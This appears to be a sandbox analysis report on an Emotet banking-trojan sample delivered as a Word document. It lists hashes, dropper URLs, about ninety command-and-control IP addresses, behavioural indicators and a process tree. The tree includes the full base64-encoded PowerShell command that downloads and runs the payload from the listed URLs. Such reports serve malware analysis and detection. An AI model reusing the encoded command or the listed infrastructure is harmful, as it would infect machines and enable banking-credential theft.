emotet | dd5ce5ffcf0c62e6fce916b040418dc3bcb7a74ea6b11c3f31123106f04ad6c5

Analysis

max time kernel
136s
max time network
140s
platform
windows10_x64
resource
win10
submitted
21/09/2020, 23:28

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General

Target
emotet_e1_dd5ce5ffcf0c62e6fce916b040418dc3bcb7a74ea6b11c3f31123106f04ad6c5_2020-09-21__232651768596._doc.doc
Size 197KB
Sample200921-xehh5a2b2s
SHA256 dd5ce5ffcf0c62e6fce916b040418dc3bcb7a74ea6b11c3f31123106f04ad6c5
MD5 8f612c6944398d08d54cdf5e3264d543
SHA1 2db5b16969ec2c909eb542beaa5e3a4310f576cc
SHA512 df183b879c0ef69eae4285de39dde5b7cd351e94045653579e760b9e3d19e74113085a237eb7e774e4a0f725d295e858c533c37b43ee2302cce967e2f45be09f
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://amvp-py.com/amvp/r/
exe.dropper
https://dagranitegiare.com/wp-admin/d/
exe.dropper
https://emitt-tech.com/wp-admin/2qG/
exe.dropper
http://kvaser-microsite.tagsom.company/wp-includes/a/
exe.dropper
https://aravindhherbalstore.com/wp-admin/TPA/
exe.dropper
http://leo.jelct.com/wp-content/Hce/
exe.dropper
http://domiciliazione.org/wp/UT8/

Extracted

Family

emotet

76.168.54.203:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
5.196.35.138:7080
177.129.17.170:443
87.106.46.107:8080
68.183.190.199:8080
185.183.16.47:80
186.103.141.250:443
64.201.88.132:80
70.32.84.74:8080
68.69.155.181:80
82.76.111.249:443
111.67.12.221:8080
60.93.23.51:80
104.131.41.185:8080
92.24.50.153:80
191.182.6.118:80
61.197.92.216:80
213.197.182.158:8080
137.74.106.111:7080
138.97.60.141:7080
187.162.248.237:80
110.142.219.51:80
51.159.23.217:443
192.241.143.52:8080
190.24.243.186:80
51.255.165.160:8080
212.71.237.140:8080
190.115.18.139:8080
174.113.69.136:80
178.250.54.208:8080
190.2.31.172:80
45.16.226.117:443
50.121.220.50:80
217.13.106.14:8080
217.199.160.224:7080
80.11.164.185:80
172.104.169.32:8080
77.90.136.129:8080
123.51.47.18:80
82.230.1.24:80
74.58.215.226:80
185.94.252.27:443
181.30.61.163:443
111.67.77.202:8080
96.227.52.8:443
2.36.95.106:80
78.249.119.122:80
209.236.123.42:8080
185.215.227.107:443
188.135.15.49:80
83.169.21.32:7080
96.245.123.149:80
216.47.196.104:80
50.28.51.143:8080
5.189.178.202:8080
74.136.144.133:80
72.47.248.48:7080
190.190.148.27:8080
189.2.177.210:443
98.13.75.196:80
185.178.10.77:80
181.129.96.162:8080
67.247.242.247:80
170.81.48.2:80
199.203.62.165:80
204.225.249.100:7080
77.106.157.34:8080
68.183.170.114:8080
45.46.37.97:80
70.32.115.157:8080
190.163.31.26:80
94.176.234.118:443
95.9.180.128:80
104.131.103.37:8080
35.143.99.174:80
91.105.94.200:80
190.6.193.152:8080
155.186.0.121:80
219.92.13.25:80
12.162.84.2:8080
220.109.145.69:80
177.74.228.34:80
77.238.212.227:80
61.92.159.208:8080
186.70.127.199:8090
45.33.77.42:8080
152.169.22.67:80
192.241.146.84:8080
185.94.252.12:80
177.73.0.98:443
65.36.62.20:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1860	428	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3472-15-0x00000000004E0000-0x00000000004F2000-memory.dmp	emotet
behavioral2/memory/3472-15-0x00000000004E0000-0x00000000004F2000-memory.dmp	emotet
behavioral2/memory/3472-16-0x0000000000500000-0x0000000000510000-memory.dmp	emotet
behavioral2/memory/3472-16-0x0000000000500000-0x0000000000510000-memory.dmp	emotet
behavioral2/memory/2172-19-0x0000000000520000-0x0000000000532000-memory.dmp	emotet
behavioral2/memory/2172-19-0x0000000000520000-0x0000000000532000-memory.dmp	emotet
behavioral2/memory/2172-20-0x0000000000590000-0x00000000005A0000-memory.dmp	emotet
behavioral2/memory/2172-20-0x0000000000590000-0x00000000005A0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1860	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3472	N0_70cxdm.exe
2172	COLORCNV.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\netdiagfx\COLORCNV.exe	N0_70cxdm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1860	powershell.exe
1860	powershell.exe
1860	powershell.exe
2172	COLORCNV.exe
2172	COLORCNV.exe
2172	COLORCNV.exe
2172	COLORCNV.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1860	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1860 wrote to memory of 3472	1860	powershell.exe	78
PID 1860 wrote to memory of 3472	1860	powershell.exe	78
PID 1860 wrote to memory of 3472	1860	powershell.exe	78
PID 3472 wrote to memory of 2172	3472	N0_70cxdm.exe	83
PID 3472 wrote to memory of 2172	3472	N0_70cxdm.exe	83
PID 3472 wrote to memory of 2172	3472	N0_70cxdm.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_dd5ce5ffcf0c62e6fce916b040418dc3bcb7a74ea6b11c3f31123106f04ad6c5_2020-09-21__232651768596._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABZAG0AaAByADIAdQB0AD0AKAAnAEIAMwAnACsAJwBsACcAKwAoACcAYQAnACsAJwBtAGEAYQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAdQBTAGUAcgBwAFIAbwBGAGkAbABlAFwAaAB1ADAAbABzAF8ATABcAHQAVABWAHgAbQBHAEQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAYABSAGAASQBUAHkAUAByAE8AYABUAG8AQwBgAE8AbAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACcAMQAnACsAJwAyACwAJwArACgAJwAgAHQAJwArACcAbAAnACkAKwAoACcAcwAxADEAJwArACcALAAnACsAJwAgAHQAbABzACcAKQApADsAJABIAG8AcQBfAG0AdgBqACAAPQAgACgAKAAnAE4AMABfADcAJwArACcAMAAnACkAKwAoACcAYwB4ACcAKwAnAGQAbQAnACkAKQA7ACQATQB3ADAANgBwAGUAbAA9ACgAKAAnAEIAYQAnACsAJwBuACcAKQArACgAJwAzACcAKwAnAHoAMgBhACcAKQApADsAJABDAHkAdQBpAGUAdQBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZABRAEcASAAnACsAJwB1ACcAKQArACgAJwAwACcAKwAnAGwAcwBfACcAKQArACgAJwBsAGQAUQBHACcAKwAnAFQAdAB2ACcAKQArACcAeAAnACsAKAAnAG0AZwBkACcAKwAnAGQAJwApACsAJwBRAEcAJwApAC4AIgBSAGUAYABwAEwAYQBgAEMAZQAiACgAKABbAEMASABhAFIAXQAxADAAMAArAFsAQwBIAGEAUgBdADgAMQArAFsAQwBIAGEAUgBdADcAMQApACwAJwBcACcAKQApACsAJABIAG8AcQBfAG0AdgBqACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQARwAyAHkAbABsADIAdAA9ACgAJwBEAG4AJwArACgAJwBnAGkAegA4ACcAKwAnAHoAJwApACkAOwAkAE8AbQByAGsAZgBsADQAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBsAEkAZQBOAHQAOwAkAEIAdQBzAHcAcAAzAGEAPQAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBhACcAKwAnAG0AdgBwAC0AJwApACsAKAAnAHAAeQAuAGMAbwBtACcAKwAnAC8AJwArACcAYQBtACcAKQArACgAJwB2AHAALwAnACsAJwByACcAKwAnAC8AKgBoAHQAdABwAHMAOgAvACcAKwAnAC8AJwArACcAZABhAGcAcgBhAG4AaQAnACsAJwB0AGUAZwAnACkAKwAoACcAaQAnACsAJwBhAHIAJwApACsAKAAnAGUALgBjACcAKwAnAG8AbQAvAHcAcAAnACsAJwAtACcAKQArACcAYQBkACcAKwAnAG0AJwArACgAJwBpAG4AJwArACcALwBkAC8AKgAnACsAJwBoAHQAdABwACcAKQArACgAJwBzADoALwAvAGUAJwArACcAbQBpACcAKQArACgAJwB0AHQAJwArACcALQAnACkAKwAnAHQAJwArACgAJwBlAGMAJwArACcAaAAnACsAJwAuAGMAbwBtAC8AJwApACsAJwB3ACcAKwAoACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACkAKwAnAC8AMgAnACsAKAAnAHEARwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AawAnACkAKwAnAHYAYQAnACsAKAAnAHMAZQAnACsAJwByACcAKQArACgAJwAtAG0AJwArACcAaQAnACkAKwAoACcAYwAnACsAJwByAG8AcwBpAHQAZQAuACcAKQArACcAdAAnACsAJwBhACcAKwAoACcAZwAnACsAJwBzAG8AJwApACsAKAAnAG0AJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACcAcABhAG4AeQAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgAnACsAJwBjAGwAdQAnACsAJwBkACcAKQArACgAJwBlAHMAJwArACcALwBhACcAKQArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwBhAHIAJwApACsAKAAnAGEAdgAnACsAJwBpAG4AZABoACcAKQArACcAaAAnACsAKAAnAGUAcgAnACsAJwBiACcAKQArACgAJwBhAGwAJwArACcAcwAnACkAKwAnAHQAJwArACgAJwBvAHIAJwArACcAZQAuACcAKwAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZABtAGkAbgAnACsAJwAvAFQAUAAnACkAKwAnAEEAJwArACgAJwAvACoAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAOgAnACsAJwAvAC8AbABlACcAKQArACcAbwAuACcAKwAoACcAagBlAGwAJwArACcAYwB0ACcAKwAnAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGMAbwAnACsAJwBuAHQAZQBuACcAKQArACcAdAAvACcAKwAoACcASAAnACsAJwBjAGUAJwArACcALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AZABvAG0AaQBjAGkAJwArACcAbABpAGEAegAnACkAKwAoACcAaQAnACsAJwBvAG4AJwApACsAJwBlAC4AJwArACcAbwByACcAKwAnAGcALwAnACsAKAAnAHcAcAAvAFUAJwArACcAVAAnACkAKwAnADgAJwArACcALwAnACkALgAiAHMAcABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARAA2AGMAOQB1AGkAbQA9ACgAKAAnAFIAJwArACcAdQBfAF8AJwApACsAKAAnAHAAJwArACcAMwBrACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASgAzAG8AawBwADkAbgAgAGkAbgAgACQAQgB1AHMAdwBwADMAYQApAHsAdAByAHkAewAkAE8AbQByAGsAZgBsADQALgAiAEQAYABPAFcAbgBsAGAAbwBhAGQAZgBJAGwARQAiACgAJABKADMAbwBrAHAAOQBuACwAIAAkAEMAeQB1AGkAZQB1AHMAKQA7ACQAVgBzADUAOABwAGIAdgA9ACgAJwBDAGcAJwArACcAMQBiACcAKwAoACcAOQBkACcAKwAnAGQAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAQwB5AHUAaQBlAHUAcwApAC4AIgBsAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMgAyADgANAA2ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEMAeQB1AGkAZQB1AHMAKQA7ACQARwB4ADUAeQBkADgAYQA9ACgAKAAnAE0AJwArACcAdwAzADMAdABuACcAKQArACcAbgAnACkAOwBiAHIAZQBhAGsAOwAkAFkAbwBoAGMANAB6AGQAPQAoACgAJwBJADYAbwAnACsAJwBzACcAKQArACgAJwBsACcAKwAnAGoAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVgB6AGcAZgBxAHYAMgA9ACgAJwBVACcAKwAoACcAdAAnACsAJwAwACcAKwAnAHAANABfAHUAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Users\Admin\Hu0ls_l\Ttvxmgd\N0_70cxdm.exe
  "C:\Users\Admin\Hu0ls_l\Ttvxmgd\N0_70cxdm.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Windows\SysWOW64\netdiagfx\COLORCNV.exe
    "C:\Windows\SysWOW64\netdiagfx\COLORCNV.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2172

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1860-9-0x00007FFA38E90000-0x00007FFA3987C000-memory.dmp

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memory/1860-11-0x0000020DE8740000-0x0000020DE8741000-memory.dmp

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memory/1860-10-0x0000020DE8590000-0x0000020DE8591000-memory.dmp

Download

memory/2172-20-0x0000000000590000-0x00000000005A0000-memory.dmp

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memory/2172-19-0x0000000000520000-0x0000000000532000-memory.dmp

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memory/3472-15-0x00000000004E0000-0x00000000004F2000-memory.dmp

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memory/3472-16-0x0000000000500000-0x0000000000510000-memory.dmp

Download

memory/3828-8-0x0000018BF08F2000-0x0000018BF08F7000-memory.dmp

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memory/3828-7-0x0000018BF08F2000-0x0000018BF08F7000-memory.dmp

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memory/3828-6-0x0000018BF08F2000-0x0000018BF08F7000-memory.dmp

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memory/3828-5-0x0000018BEE064000-0x0000018BEE069000-memory.dmp

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memory/3828-0-0x00007FFA403D0000-0x00007FFA40A96000-memory.dmp

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memory/3828-4-0x0000018BF0748000-0x0000018BF074B000-memory.dmp

Download

memory/3828-3-0x0000018BF0748000-0x0000018BF074B000-memory.dmp

Download

memory/3828-2-0x0000018BF0743000-0x0000018BF0748000-memory.dmp

Download

memory/3828-1-0x0000018BF0748000-0x0000018BF074B000-memory.dmp

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